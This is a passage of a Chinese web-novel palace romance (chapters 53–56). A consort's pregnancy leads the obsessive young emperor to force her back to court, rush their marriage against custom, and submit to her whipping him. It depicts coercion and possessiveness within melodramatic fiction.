不想整个人都被裴承珏揽进了怀里。 后背抚来手掌,轻轻地拍着,试图缓解她的难受,温柔的声线担忧地问,“姐姐胃里不舒服?” 乔棠靠在温热怀抱里,呕出些许清水,唇边过来一副手绢,替她细细擦净了,而后手绢落地,她被搂得紧紧的。 裴承珏眉峰紧拢,看着格外焦急,她抬起脸颊,无动于衷地凝视着裴承珏神色,慢慢地离开了怀抱,心头闪过一个可怕的猜想。 “朕去叫太医。” 裴承珏怀中一空,虽觉失落,更多的是对乔棠身体的担忧,转身去隔壁喊太医去了。 她没有阻拦,王嬷嬷在暗处窥见这一切,心脏跳个不停,极快地跑过来关住了门,“姑娘月信没来?” 乔棠缓缓点头,眼下她思索起来,倒也正常,裴承珏年轻身强,她身体也素来康健,在宫中那么多次,怀孕也是理所当然。 王嬷嬷窥着她平静的容色,只觉她有了什么打算,忽闻门外脚步声阵阵,应是裴承珏带着太医来了,她当即拿身子堵住门。 “姑娘想做什么?” 乔棠目光清明,唇边缓缓绽放出一抹浅笑,她几乎没有细想就做了决定,“嬷嬷,我想好了,若是真有了孩子。” 裴承珏并无死心的模样,想必日后定还会痴缠她,奈何她对裴承珏并无半分情意了,不愿再与裴承珏有所瓜葛了。 那么这孩子能留下来么? 不若当着裴承珏的面说清楚了,也好叫裴承珏彻底死心,一个不会留下他孩子的女人,何必再痴缠下去? 王嬷嬷一瞬明了,忽见柳彰从后院过来了,朝她们疾步过来,她遂笑道,“表少爷,姑娘身子不舒服,你且带姑娘去歇息。” 她望向乔棠的目光里带着恳求,乔棠怔然,有些不忍地偏过头。 柳彰目光一闪,捡起地上的伞,等着乔棠迈步,敲门声一声接着一声。 第53章 乔棠凝眉不动。 王嬷嬷眼珠一转,面上露出一个慈爱笑容,常年陪伴下,乔棠已对这笑容生出依赖,下意识向她靠近,“嬷嬷。” 王嬷嬷抱住她低语,“姑娘莫急,不妨先叫太医过来诊脉,之后我们再做定夺,好不好?” 确然是要先确定有孕,乔棠听着敲门声,沉吟道,“那就只让太医进来。” “姑娘且去花厅等着。” 乔棠提步出了檐下,柳彰为她撑伞,两人慢慢走在道上。 王嬷嬷这才转身推开大门。 门外,几个太医立在裴承珏身后,程英竟也在其中。 裴承珏衣肩湿了大半,雨珠顺着衣袖滴落,眉宇间遮不住的焦躁,正大步迈进门内。 “姐姐身体如何?” 王嬷嬷行礼道,“姑娘好多了,说让一位太医进去就好了,还请陛下不必担忧,且去歇息。” 裴承珏步子一顿,回首望向她,眸子微眯,听她垂头重复道,“姑娘说太医进去即可。” 裴承珏唇角绷紧,慢慢退到门外,指了程英随王嬷嬷进去,目光落在院内绵延的道上。 姐姐不许他进去也没关系,他的手指不住地摩挲着袖中腰带,竭力忍耐躁动的心绪。 其他太医窥着他紧绷的下颌,悄悄对视一眼,一太医出列道,“陛下莫要过于担忧,惠贵妃身子一向康健,且以陛下适才所言,惠贵妃应是——” 裴承珏阴冷视线刮来,惊得他不敢再言,其他太医也是胆颤,心道惠贵妃兴许是有孕了,这、这分明是件喜事啊! 可裴承珏神色不对,便是天大的喜事,他们也不敢张嘴了。 四周只有雨落的声音。 花厅里,乔棠坐在座位上,柳彰立在她身侧,一手递来温热茶水,她摇头拒了,恐怕喝了也会吐出来。 柳彰见状,也不多言,将温热茶水捧在手中。 乔棠闻得脚步声抬眸,见是程英随王嬷嬷进来,心下一怔,原以为裴承珏会随意指一个太医,不想是她常用的程英。 眼看程英要向她行礼,她摇头拦住了,她也不是惠贵妃了,何必受这些虚礼? 她伸出手腕,让程英近前诊脉,程英细细地诊了,半晌眉梢一动,窥着她冷凝神色,松了手腕谨慎道,“回娘娘,是喜脉。” 砰地一声,柳彰手中茶杯摔落在地,碎成了几片,惊得乔棠凝滞思绪活动起来。 她当真怀孕了。 阵阵恐慌过后,适才下决定的果决又浮上心头,她不能要这个孩子! 她猝 地望向程英,可还未等她开口,程英已从她泛白面色中读出了她的意思,残忍地退步道,“娘娘好生歇息,臣得回禀陛下去了。” 她转身即走,乔棠心间翻出一阵绝望,唇瓣一抖,叫柳彰也出去,“关门,关得紧紧的!” 柳彰疾步去了。 眼见乔棠无助地咬唇,王嬷嬷心疼地过来抱住她,摸着她的脑袋安抚,“姑娘别怕,也莫心急,我们静下来好好思量这事,好好思量。” 这厢程英一出大门,大门便被紧跟而来的柳彰关住了,柳彰背靠门板,半步不动。 门外,程英伏地一跪,据实以告,“恭喜陛下,贵妃娘娘有喜了!” 其余太医暗暗松气,也相继恭贺,可等好一会儿,都不见裴承珏有反应,抬眸觑过去。 但见裴承珏眉峰皱得紧紧的,低垂视线落在程英身上,“先前你说姐姐若有孕,恐会对身子不利,眼下呢?” 程英不敢隐瞒,“现在惠贵妃身子大好,可以孕育胎儿。” 这话落地,裴承珏紧皱眉峰猛地松开,心中充斥着的澎湃欢喜叫他颤动唇角,声线含着紧张期待,“惠贵妃如何说?” 程英低着头,自额角流淌下来的不知是雨水还是冷汗,“惠贵妃未说什么。” 裴承珏满腔翻涌的欢喜凝结,沉沉地堵在胸前,连带嗓子也堵得难受。 “那她可有什么反应?” 程英不再回话,不回话就表示惠贵妃不欢喜,其他太医战战兢兢,生恐裴承珏发怒。 可随即裴承珏竟挥袖让他们离开了,他们不敢耽误,匆匆退下。 程英走远了,才敢回头望,只见裴承珏还立在那里,直直地望着房门。 约莫过了半个时辰,雨小了,起了风,吹得裴承珏双眸发酸发胀,他不敢相信似地,迟钝地,意识到乔棠不高兴他们有了孩子。 是了,乔棠不爱自己。 可是,乔棠纵然不爱自己,那孩子呢?乔棠一贯性子纯善,对旁人都温柔三分,待自己孩子也会很好的。 他的眸中重新迸发出希望,提步上了台阶,伸手去敲门,柳彰在门后听了片刻,迟疑地抬步离开了。 乔棠已由王嬷嬷带着回了房间歇息,王嬷嬷守在床边,看着她慢慢镇定下来,轻言细语地哄道,“姑娘先别想此事了,睡一觉吧。” 门外传来柳彰的声音,“表姐,有人在敲门。” “不要让他进来!”乔棠急道。 王嬷嬷见状,又叫柳彰去堵门,柳彰去了,乔棠又是绝望又是烦躁,那个果决念头再次浮上心头。 “嬷嬷,我不会要这个孩子。” 言罢,她翻身背对着王嬷嬷,像是拒绝王嬷嬷的所有劝慰。 王嬷嬷眸色透出不忍,此事哪里是她家姑娘能决定的? 可惜乔棠看不见,她满腔难受,整个人如被裴承珏浸在深水中,她奋力地想挣扎出一条路,哪怕这条路是条死路,她也要试一试。 可怜的是,裴承珏不知她心中所想,见敲门不开,也不愿走开,直直地立在门前。 隔壁一众侍从惶然等着。 及至天幕黑下来了,雨珠又落,风更急了,侍从撑伞过来,惊惧地看着裴承珏坐在台阶上,孤身守在门边。 裴承珏慢慢抬起一双赤红眸子,侍从心惊地又退下了,留他一人在风雨中。 王嬷嬷从柳彰口中得知他还未走,心头震动,她活了这么大岁数,从未见过这样为情舍命的人,何况这人还是坐拥天下的君主? 晚间就寝时,她到底忍不住和乔棠说了,“陛下还在门口,姑娘不若给他句话,让陛下回去罢。” 窗外风雨声不停,雨点拍打窗户,这样的天再守下去,再强的身子也会受不住的。 “倘若陛下因此损了身体,朝中震荡,可是会出大事的。” 乔棠听得心口一颤,接着又是一阵愤怒,她都已和裴承珏将话说尽了,裴承珏怎还不放弃?莫不是以为有了孩子,她就会心软? 她咬牙道,“让他走!” 王嬷嬷提着灯笼去了,到了大门边,将门打开,灯笼在风中摇晃,泄出一团光亮。 裴承珏像团化不开的浓雾,静静地蛰伏在门前,双眸乍然映入亮光,唰地望来,湿冷视线剜得王嬷嬷身子一抖。 “陛、陛下,风大雨大,我家姑娘说让陛下回去歇息。” 一只手掌摁上大门,快要将门顶开,王嬷嬷骇得忙去关,身后柳彰不知何时来了,使出力气,迅疾地帮她关上了大门。 门前陷入黑暗,裴承珏收回手摩挲起袖中腰带,禁不住掀唇笑了笑。 风大雨大,姐姐说让他回去歇息,那姐姐是心软了吧?那就更不能走了。 也许守到明日,姐姐能见他一面,到时他要好好和姐姐说说孩子的事。 雨珠浸透衣物,袖下滴出雨水,他浑然不觉地坐在那里,脑中尽是乔棠,偶尔闪过一个念头,也不知他和姐姐的孩子长什么模样。 时间慢慢过去了。 卯时,雨歇风收,上朝时间到了,朝臣在奉天殿立着,望了一眼那阶上那空荡荡的龙椅,垂下了头颅。 天子又旷了朝会。 无言沉默中,众臣都在想,再过一阵,全天下都会知晓,这个快要及冠的天子有多么荒唐无德。 镇国公与内阁辅臣不得已将朝会散了,镇国公命人传话给太后,叫太后莫要动怒,随后领着内阁辅臣出宫去寻裴承珏。 天微微亮时,乔棠小厮打开大门,被裴承珏骇得尖叫一声,随即奔回院中告知王嬷嬷。 王嬷嬷得知裴承珏竟守了一夜,生恐他出什么事端,回房想告诉乔棠,却见乔棠已穿着齐整,洗漱过了,只双目泛出红丝,显然也是一夜未眠。 “姑娘,陛下守了一夜。” 王嬷嬷心惊肉跳,为裴承珏,为乔棠,她摁住猛跳的眼皮,听乔棠道,“那就请陛下进来。” 她不安地去了,步到门边,也不敢看裴承珏,躬身道,“姑娘请陛下进去。” 言罢只觉一阵风掠过身边,她慌地去望,只望见一身湿衣的裴承珏大步往院中去。 忽闻院外脚步声匆匆,她转头看去,竟见镇国公领着顾首辅等人走进来,“陛下可在这里?” 她思付一番,将事情尽数道出,镇国公等人惊道,“惠贵妃怀了皇嗣!” 一众人匆匆进去,及至花厅门前,惧于裴承珏现今暴戾性情,不敢擅动,只低首听闻里面动静。 一时厅中只有裴承珏与乔棠。 裴承珏立在乔棠面前,一身衣物湿淋淋的,沉重的袖口滴下积水,啪嗒啪嗒落在地面上,很快地面湿了一片。 容色也极为狼狈,眉峰鬓角湿乱,薄唇泛出青色,没有意气风发,没有神采飞驰,只有盛满眼眶的红丝。 可形容再不堪,都挡不住他的欢喜,姐姐主动见他了,姐姐心软了,姐姐更是怀了他的孩子,一切都好起来了。 他的视线轻轻抚过乔棠腹部,又去看乔棠面色,见乔棠眼中红丝密布,心疼道,“姐姐夜里没有睡好么?” 他近前一步,伸出手才发现手掌湿淋淋的,一时尴尬地缩了回去。 “陛下。” 乔棠始终平和的面色终于起了涟漪,心头也冒出不合时宜的酸涩,可思及接下来的事,她狠狠地将这些情绪压下去,屈膝跪在了裴承珏面前。 裴承珏面色陡然一沉,他委实怕了乔棠下跪,上次乔棠下跪,是请求出宫,这次呢! 他不允许乔棠说出口,俯身一把捞起乔棠,掌心冰凉沁得乔棠身子哆嗦。 他也怕得手臂哆嗦,克制着躁动情绪,“姐姐不要跪朕了。” “我们说说孩子,好么?” 他不敢把凉意传给乔棠,松了手,只用紧迫的目光困住乔棠,而乔棠只想逃开。 乔棠慢慢退了两步,目光坚定,“好,我们说孩子。” 裴承珏笑了笑,他昨夜想了许多,便是有了孩子,姐姐不想回宫也无妨,他不会强迫姐姐,他愿意什么都依着姐姐。 他张口想把这些都说出口,却见乔棠双眸一冷,又跪了下来,垂下细白颈子。 厅中响起她决绝的声音,“请陛下赐我一碗堕胎药。” 裴承珏听清了,一时茫然地立着,整个世界都好似沉寂了。 雨后放晴了,春阳初升,大片光亮透窗而进,映在裴承珏骤然铁青的面容上。 眸中茫然已消散了,再浮出来的只有痛楚与愤怒,颤动的手指一点点伸到袖中腰带上。 可恨的是,这点抚慰已不管用了。 为他缝了腰带又如何,到头来还是不爱他,也不爱他们的孩子! 是不是无论他怎么做,他都奢求不到乔棠的爱,哪怕是一点点,乔棠都不肯施舍给他! 这种无望的情绪瞬时充斥了他的心腔,叫他愤怒地俯身,一掌托起乔棠的面颊。 四目相对,乔棠直直地望进他阴冷的眸中,没有任何惧意,真称得上狠韧至极。 裴承珏心脏骤疼,扬颈呼了口气,原来一贯温柔待人的姐姐,不止对他狠得起来,也对他的孩子狠心无比! 裴承珏恼得腮边青筋鼓动,五指用力,掐得乔棠面颊红痕乍出。 乔棠一声未出,慢慢阖上了眸子,她向来是惜命的,可也不愿因孩子被裴承珏牵制,遂决意走这条路。 看来这条路当真是条死路啊,她忍着面颊上的疼痛,在心间凄凄地想,裴承珏眼下情状,真是恨不得掐死她。 “乔棠,你的狠心,朕算是见识到了。” 裴承珏深深凝视着眼前海棠花容,便是到了此刻,眸中也不受控制地闪过痴迷。 随即他又痛恨这样的自己,厌恶地心想,什么爱不爱的,他不要了! 没有爱,他照样可以拥有乔棠,乔棠在他的掌下本就毫无反抗之力,只要将乔棠带回宫中,乔棠再不愿意,也要为他生下这个孩子! 他松了手,一把拽起乔棠,抱在怀中就往门边去,乔棠始料未及,剧烈挣扎中,被他一掌摁在怀中,再也动弹不得。 乔棠奋力反抗,手指紧紧揪住他的衣领,使劲去扯,勒住裴承珏脖颈。 裴承珏低首,眸色阴鸷,薄唇贴上乔棠面颊,湿冷的吻冰得乔棠身子一颤。 一手小心翼翼抚向乔棠腹部,“你勒死了朕,孩子可就没父皇了。”—— 作者有话说:提前更,晚上11:00就没啦[可怜] 第54章 乔棠心腔鼓动出一阵无力。 是孩子将她和裴承珏再次牵扯在了一起,也是因为孩子,裴承珏再次强迫她入宫。 她对这孩子的到来委实没有欢喜。 裴承珏却很重视,将她抱得紧紧的,容不得她一丝抗拒,她只能颓然地垂下手指。 潮湿冰冷的怀抱没有暖意,冻得她纤肩哆嗦,出了门迎风一吹,更是凉意入骨。 门外,镇国公等人朝两人行礼。 裴承珏没心思追究他们动机,薄唇吐出命令,“召众卿回奉天殿。”疾步出了宅院。 大门前马车已备好了,他抱了乔棠进去,甫一坐定,乔棠挣出他的怀抱,要离他远远的,被他一把拽回来,摁在身侧。 他显出怒容,一手按住乔棠,另一手褪去湿衣,拎过侍从备好的干净衣袍披上,又将乔棠抱在怀里。 乔棠躲闪不得,浑身上下被他摸了一遍,听他警告道,“不要想着和上次一样拿刀伤自己,一旦伤到朕的孩子,可是夷三族的重罪。” 乔棠惶然一抖,花容凄然,原来他是恐自己身上藏有伤人的东西,自己在他面前,竟连寻死的自由也没有了! 乔棠心脏一阵搅痛,低下头慢慢地落了泪,心底连骂裴承珏数声,为什么总是不肯放过她! 泪珠簌簌而落,砸到裴承珏手背上。 裴承珏面色越来越冷,无动于衷地看着她哭,过了须臾,泪珠滚到他心底,发烫的温度烧得他斥道,“也不能哭!” 难道哭也有罪? 乔棠怨极,气极,被裴承珏按住的手骤然一动,指尖狠狠凿进裴承珏掌心,直想叫裴承珏也疼得哭出来,尝尝自己是何滋味。 裴承珏眉峰都不动一下,她很快没了力气,抽出染着血丝的指尖,抬起淌泪的面颊,紧咬唇瓣,一言不发,只怨愤地瞪着裴承珏。 眼泪还在流。 裴承珏分明受着她的怨愤,仍止不住地心悸神摇,不由阖眸吻上她的眼睛,将眼泪吮进口中。 乔棠瞠目,使力推他,抓住他的胳膊乱扯,拽得他衣袍散落,露出缠满臂膀的腰带。 乔棠的手指乱动,一下触动腰带,怔然间止了动作。 裴承珏察觉,亲吻一顿,一瞬撤开身子,将衣袍披好,遮住了手臂。 乔棠还愣愣的,目光忍不住瞥向那手臂,眼中再无眼泪滴出。 裴承珏冷声一笑,“哭够了?” “没有!”乔棠恨恨地转过头,背过身,不去瞧那张又冷又怒的面容。 她倒是也想给裴承珏冷脸看,可毫无用处,只能木然着一张脸,拿这种消极态度抵抗裴承珏的冷言怒语。 殊不知,这种对裴承珏已算不得什么了,他从乔棠这里吃的教训够多了,也已尝尽了诸多痛楚,眼下乔棠不理他,又算得了什么! 恐怕乔棠现在拿剑捅他,他都面不改色。 他不管不顾地搂紧乔棠,哪怕乔棠身子硬着,未曾软下半分,他也牢牢抱着不松。 乔棠被束缚,不舒服地抬抬头,额头触及他的薄唇。 一发不可收拾。 裴承珏将她压在车壁上,从眉眼吻到颈子锁骨,接着还向下移时,乔棠报复似地道,“陛下惊着你的孩子了。” 裴承珏动作一顿,埋首在她脖颈里,忽诡异地大笑一声,乔棠悚然,这个疯子在笑什么! 她一把推开裴承珏,裴承珏上身倚向车壁,扬颈呼气,好半晌,抑制住躁动的情热,意犹未尽地舔了舔唇。 及至马车进了皇宫,裴承珏抱乔棠下车,强硬地带她上了步辇,一路上抱她入怀,毫不顾及沿路行礼的宫人。 一时宫中陷入无声躁动,眼风四飞中,陛下抱着惠贵妃回宫的消息传开了。 进了太极宫,裴承珏也不放下乔棠,一路过了正殿,进了寝殿,他才将乔棠摁在座椅上,“给朕好生待着!” 他甩袖而出,命宫人去太医院叫程英过来,以时刻服侍乔棠,之后步履生风地出了宫门,旋身吩咐侍卫们守好乔棠。 此时,原该去奉天殿的他,步子一拐,直往慈宁宫的方向去了。 正是春晴日,日光融融,沿路花枝簇动,迎风盎然,耀眼夺目。 却都不及他眉眼绽出的神采。 宫人们呆呆地看着他拂风而去,只觉比之往日的沉郁阴冷,他竟换了一副意气风发的模样。 但到了慈宁宫,他骤然沉了容色,面无表情地一脚踏了进去。 慈宁宫内一片安静。 太后自打歇了为裴承珏选妃的心思,就居于宫内不出,日日礼佛,以求静心宁神。 今日她亦在佛堂,闻得裴承珏来了,又是诧异,又是忧虑。 先前她关心裴承珏胸前剑伤,次次去见裴承珏,裴承珏都避而不见。 虽说放乔棠出宫前,她做了儿子怨她气她的准备,但等事情真发生了,亲眼见儿子避自己,心底还是凄然几分。 也不知今日儿子主动来见她,是要发多大的火,她不安地望着迈步而来的裴承珏。 裴承珏也不进来,抱臂倚着殿门,也不言语,只望着殿里庄严的佛像。 太后见他既不率先发难,也只当乔棠一事不存在,“陛下不去理政,来此 做甚?” 裴承珏拿下巴点了点佛像,“自然是跟着佛祖做和尚啊!” 太后惊而瞠目,“陛下胡说些什么!” 她看着裴承珏眸中浮出痴癫之色,不知怎地,心头涌出些许后悔,也许不放乔棠出宫,他儿子也还是圣明之主,绝不会走到这一步。 “母后既不愿意朕做和尚,何必背着朕将惠贵妃放了?” 裴承珏面容肖似先帝,眉眼俊到至极,可从无先帝面对女人时那漫不经心的玩弄之心。 他轻轻地抚摸着袖中腰带,“朕发过誓的,此生唯要惠贵妃一人。” 太后哑然,忽觉喉头梗塞,半晌忆起去年雪天她戳儿子心肺的话,胸腔涌出更多悔意。 说出口的话却是,“这只是陛下一厢情愿,惠贵妃待陛下并无半分情意。” “朕不会和惠贵妃计较这个了。” 乔棠不爱他,裴承珏无比清楚这个事实,但又有什么关系,不爱便不爱,他不会再奢求了,只要乔棠在他身边就好。 他的声音一沉,“娶不到惠贵妃,朕就剃了头发做和尚。” “胡闹!” 太后厉声,却见他真朝后伸手,宫人颤抖着递上剪刀,他接过就松了玉冠,捋过头发就剪。 发丝根根落下。 太后惊恐地扑上去,一把握住他的手,眼中涌出热泪,“陛下到底要做什么!” 裴承珏霍地抬起发亮的眸子,声如春雷,震得太后身形一晃,眼前发黑。 “朕要改祖制。” “朕二十及冠,方能封后大婚,朕等不了,五日后朕就要娶惠贵妃。” 他扔了剪子,任由长发散落颈肩,灼灼目光烧得太后敛回神智。 “适才剪发,权当是朕对母后的交代。” 他来得急,去得也快,不及太后言语,转身就走了,散落长发在风中拂动。 素兰姑姑匆匆而来,低声禀报道,“镇国公传话来,惠贵妃怀孕了,请太后娘娘务必依着陛下。” 太后心头大震,半晌低下头,拿手指摩挲着佛珠,眼中热泪干涸,久久都不出声。 裴承珏踏步离去,步步生风,大袖随风而摆,甩开身后一众侍从,孤身进了奉天殿。 奉天殿立满朝臣,见他着常服而入,黑发披肩,随意地立在阶上,冷眸睨下,一时又惊又惧。 奉天殿乃是朝会之地,天子应着朝服,威仪庄重地坐于龙椅,以表肃正朝务之心。 裴承珏俨然已忘了规制,平静视线巡过一众朝臣,冷容忽绽出笑容,“礼部。” 笑声直叫朝臣伏地一跪,鉴于陛下先前荒唐行径,陛下无缘无故发笑,真叫他们心头震悚。 礼部尚书惶然出列,“臣敬候圣命。” 裴承珏缓步下阶,步到他跟前,骇得他双腿发抖,紧紧闭上眸子。 “李卿,明日朕要封惠贵妃为后,封后仪式交予礼部去做。” 满殿寂然,朝臣了然地心想,怪不得旷了朝会,又奇怪地将他们聚来,原来是因惠贵妃啊。 真不知陛下脑子里除了他的惠贵妃还剩个什么东西! 裴承珏的声音响彻大殿,“五日后,朕要与皇后大婚,礼部务必做好准备。” 礼部尚书惊得张了张口,迟迟吐不出语言。 其他朝臣亦惊骇不已,自开国立朝以来,无有一任天子敢违祖宗之制。 只有裴承珏。 他是第一个,看来他脑子里是真只有惠贵妃了! 朝臣在心底忍不住骂了一声。 也有臣子极快地反应过来了,尤其是都察院那群,其中一个御史出列劝谏道,“臣请陛下三思。” “今春已到,陛下秋时及冠,中间只差几月,陛下不妨耐心等候。” 裴承珏慢慢步过来,那御史哆嗦一下,俯低身子,真怕像先前那个同僚,被陛下一脚踹个半死。 “刘卿啊。” 裴承珏俯下身子,抽出他手中笏板,拍了拍他的肩膀,“等到秋时,朕的孩子都快出生了,怎好劳动快要临盆的惠贵妃与朕成亲?” 朝臣心中又忍不住骂了一声! 第55章 “一切照朕说得去做。” 手中笏板落地,裴承珏视线掠过魏清砚,越过朝臣步到殿门前,“魏卿过来。” 朝臣低首恭送中,魏清砚步过去跟上他,镇国公眼皮狂跳,转去慈宁宫见太后。 太后仍在佛堂,听罢他所言,只觉佛珠硌手,心头堵塞,半晌没有张口。 镇国公之意还是要太后静心,莫要再做糊涂事,“此事细想也不过是陛下钟情了一位姑娘,太后娘娘不若把陛下当寻常孩子看,满足他罢。” “待陛下与惠贵妃成了亲,做了父皇,有惠贵妃管着,想必也能再勤于政务,如先前圣明睿智了。” “何况惠贵妃出身低微,在朝中无所依仗,她做皇后,必安于后宫,无有外戚之忧。” 温言宽慰下,太后心底霍地开朗,“若真能如此,哀家就放心了。” 手中松了佛珠,她起身与镇国公步出佛堂,眉梢飘起有了皇嗣的喜意。 “既要封后,宫中自也要妆点一番,莫委屈了惠贵妃。”她喊来素兰姑姑,传了懿旨,命宫人们为明日的封后仪式忙碌起来。 “太后娘娘放心,有礼部准备着,明日封后仪式定错不了。” 镇国公一笑,与她同去勤政殿见裴承珏,及至殿门前,见魏清砚安稳地立着,心里松了口气。 三人还未言语,但见裴承珏从殿内出来。 他已由宫人打理好了仪容,换了身赭黄色龙袍,高健体态撑起赫赫威仪。 通身再无青涩,透出坚毅冷硬,面容倒是越发俊美了,眉如利剑斜飞入鬓,缓步望来时,双眸亮得如淬了寒星。 三人皆是一怔,他似转眼变回了从前英朗模样,再没有了那阴冷痴癫之态。 太后一喜,看来依了他是对的,罢了,罢了,莫说乔棠做皇后了,只要儿子好好的,整个后宫唯乔棠一人也可以。 她笑道,“陛下若回太极宫,哀家与陛下一道吧,也好见见惠贵妃。” “那倒不必,母后且回去礼佛听戏,朕去见惠贵妃即可。” 裴承珏戒备地拒绝,生恐她和乔棠见了面,两人再有什么心思,遂领着魏清砚就走了。 “他、他什么意思,哀家可是一片好心!” 太后的好心情转瞬没了,气得抚了抚胸口,镇国公叹口气,又开始安慰她。 太极宫这厢,乔棠黯然独自坐了许久,闻得宫人禀报,说是王嬷嬷与柳彰都被押进宫了。 王嬷嬷且好说,她留在宫中尽可陪着乔棠,乔棠也离不开她,何故柳彰也被押了进来? 乔棠心生慌乱,匆匆步到正殿,果见王嬷嬷迎上来抱住她,柳彰则在一旁安静地立着。 她越发害怕,生恐裴承珏也不分青红皂白伤了柳彰,秀眉顰得叫人心疼。 “柳彰,此番是我连累你,待陛下回来,我会请求陛下放你出宫。” 她被王嬷嬷护着在座椅上坐下,柳彰过来立在一侧,躬身温和一笑,“表姐莫慌,这也非坏事。” 温言中透着安抚,“能进宫是多少人求之不来的幸事,这可是我的好造化,哪里是表姐连累我?” 乔棠听罢摇摇头,兴许是怀孕导致,一碰上什么事,就控制不住地情绪外露。 现在她整个人看起来都很慌乱。 忽闻殿外传来一声,“陛下回来了。” 她猝地望去,毫无防备地展露内心,柔眉笼上愁绪,眸中泛出惶然,俨然一副怯柔娇态。 裴承珏踏步而入,乍然之下,四目相对,他的心脏不受控制地一缩,姐姐看起来可怜极了。 落了两步的魏清砚望去一眼,视线触及乔棠面容,慢慢垂下眸子。 “见过陛下。” 所有人躬身行礼,乔棠也从椅子上起了身,还未低头,已被疾步而来的裴承珏抱在了怀里。 裴承珏低语,“在怕什么?” 其余人低首,乔棠知晓他们不敢看,可也不自在地离开裴承珏的怀抱,立在 了柳彰身侧。 裴承珏面容微冷,屈指敲了敲座椅扶手,“惠贵妃还是坐下的好,莫累着朕的孩子。” 目光逼迫乔棠过来,促使乔棠坐下了,他立在椅子身侧,一时不言。 乔棠竟更害怕,盖因她才看见魏清砚也在,一个柳彰已叫她无措,若是裴承珏再为难魏清砚,岂不是叫她难死? 天杀的裴承珏! 逼她回宫,便是叫她受这等煎熬是吧,她暗咬银牙,眸子霎时红了,只垂头不语。 裴承珏低眉,凝视着她细白颈子,忽觉她越发可怜了,眉峰骤拢,转头看向魏清砚,“魏卿。” 抬起下巴点了点柳彰,“此人交给你,务必让他在今年春闱中得个进士。” “是。” 魏清砚平静应下,其余人吃惊不已,乔棠抬起头,惊惑地望向裴承珏。 裴承珏这才发现她又要哭了,心头烦躁,语气冷下来,“这人既是你表弟,若一无是处,连个官也做不得,倒损了你的颜面!” 乔棠唇瓣一动,心念急转,魏清砚甚会读书,中过状元,让他来教导柳彰,对柳彰自有好处,若是柳彰春闱中了,可真算得上好造化了。 只是,裴承珏会这般好心? 分明对魏清砚这个表哥狠辣无情,竟愿意为自己这个表弟谋个好前程? 她的目光闪过戒备,裴承珏瞥见,面色一瞬绷紧,声音更冷,“若是连个进士都考不中,就此逐出京中。” 乔棠一听瞬间安心,原来是要拐弯抹角地赶柳彰出京,出京好啊,省得柳彰因自己遭受无妄之灾。 她绷紧的纤肩松动,目光瞥向柳彰,柳彰识相地伏地一跪,“谢陛下隆恩,草民必定竭尽全力。” 裴承珏挥袖,叫魏清砚带着柳彰走了,乔棠彻底心安,上身倚向椅背。 裴承珏心下已不知是何滋味了。 她为柳彰担忧,怕自己对柳彰不利,这才露出可怜模样。 若搁以往,裴承珏一察觉出,必定心生妒火,柳彰哪里能安然离开? 但现在,他学乖了,不敢这样了,好在柳彰日后有用,中了进士入朝为官,也能给乔棠做个脸面,他且留着就是。 殿里无声,乔棠不欲和他说话,他俯下身子,矮在乔棠身前,“朕抱抱孩子。” 温柔声线没能让乔棠看他一眼,他权当同意了,双臂搂过乔棠纤腰,唇角在乔棠颈旁乱吻。 这叫抱孩子? 乔棠被他颠倒黑白的本事惊到了,双眸气得更红了,一把推开他,起身往寝殿去。 裴承珏步步紧跟,将她逼到窗下长案边,一时两人脑中都闪过先前长案的荒唐情态。 裴承珏双臂一伸,稳稳托起她,让她坐在长案上,理所当然地探身过来吻她。 她愤慨不已,加上受怀孕影响,压在心底的伤心彻底拢不住了。 裴承珏比起她,也是个不遑多让的骗子! 自己要被这个骗子欺负死了! 裴承珏的吻近在咫尺,被她一下躲开了,她扬起因为愤怒涨红的面颊,唇瓣讥讽地启开一个极美笑容。 裴承珏着迷地看着,听她恨恨道,“陛下忘得真干净!” “去年秋,陛下在这里和我说,不会叫我受半分委屈,还给了我副软鞭,到头来最会欺负我,叫我受委屈的却是陛下!” “陛下和苍黄翻覆的骗子有何区别!” 她情绪崩溃地指控裴承珏,眼泪流了一脸,花容凄艳可怜,膨胀的怒气抗拒裴承珏的靠近。 裴承珏离她两步远,听着她的怨愤,嗓子哽得难受,喉结在颈间重重滚过。 他闭眸缓了口气,转身进去,很快又出来,手中攥紧那副送给乔棠的软鞭,小心地放在乔棠身侧。 后退一步,抬袖解开衣领,褪掉赭黄色龙袍,上身不着一物地跪在乔棠身前。 “姐姐打吧。” 胸口剑伤还未消退,明晃晃地露在日光下,钻入乔棠眸中,却得不到乔棠没有半分同情。 只有臂膀上缠着的腰带叫乔棠心尖一颤,她别过视线,瞪着红通通的眸子,眸中坠下一滴眼泪。 “陛下别以为我不敢!” 她抬袖胡乱地擦掉,面颊被泪水洗过,更是柔媚动人,裴承珏定定地望着,眉心攥满欲色,腰间赭黄色龙袍有了形状。 乔棠恼得更狠了,一把拽起那鞭子散开,一时心腔里所有负面情绪如决堤洪水,都宣泄在了这副鞭子上。 啪得一声,鞭子打过裴承珏肩膀,留下一道红痕,裴承珏面不改色,目光灼灼地盯着乔棠。 连挨几鞭,他连眉都不低一下,身上也不过多了几道红痕。 慢慢地,乔棠愤怒消散,一阵绝望涌上心腔,他怎么挨着打还能有反应! 他到底有多喜欢自己! 乔棠心口一颤,手上也没了力气,最后一下,鞭尾扫过裴承珏下巴,下巴顿现红痕,刺目得很。 乔棠阖眼,鞭子坠地了,裴承珏捡起来又放在她身侧,她撩开眼皮,下了长案就要走。 腰肢被一只手臂圈住,裴承珏也不顾身上那数道红痕,起身抱紧了乔棠,不舍地低声挽留。 “不打了么?” 乔棠没了力气,挣扎不开,又闻得他这话,骤然间卸掉了反抗的心力。 她和一个痴缠自己的疯子较什么真? 到头来自己气个半死,裴承珏意犹未尽,真是亏死了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 55-60 第56章 “累了,明日再打。” 她沮丧地软在裴承珏怀里,颈后传来温热触觉,伴随着情焰炽热的气息,侵入她的心间。 身后嗓音暗哑,“只要姐姐能消气,朕愿意日日挨打。” 炽吻从后颈到耳垂,轻柔和缓,绵密不绝,比从前更加小心,带着庄重的虔诚。 乔棠第一次见裴承珏这般亲吻姿态,微微失神,被他转过身子,吻上唇瓣。 双唇相贴,并无激烈的啃咬,只有细缓摩挲。 裴承珏似乎想将心腔跳动的欢跃、对乔棠无可救药的爱透过这个吻传递给乔棠。 他阖上眸子,吻得动情专心。 乔棠却睁着明亮的眸子,清晰地看见他阖眸下的睫毛,浓黑密长,轻轻发颤。 竟有些可怜。 这个念头甫一冒出来,乔棠就惊住了,心道自己可真是气糊涂了,可怜的分明是自己,裴承珏眼下享受得很呐! 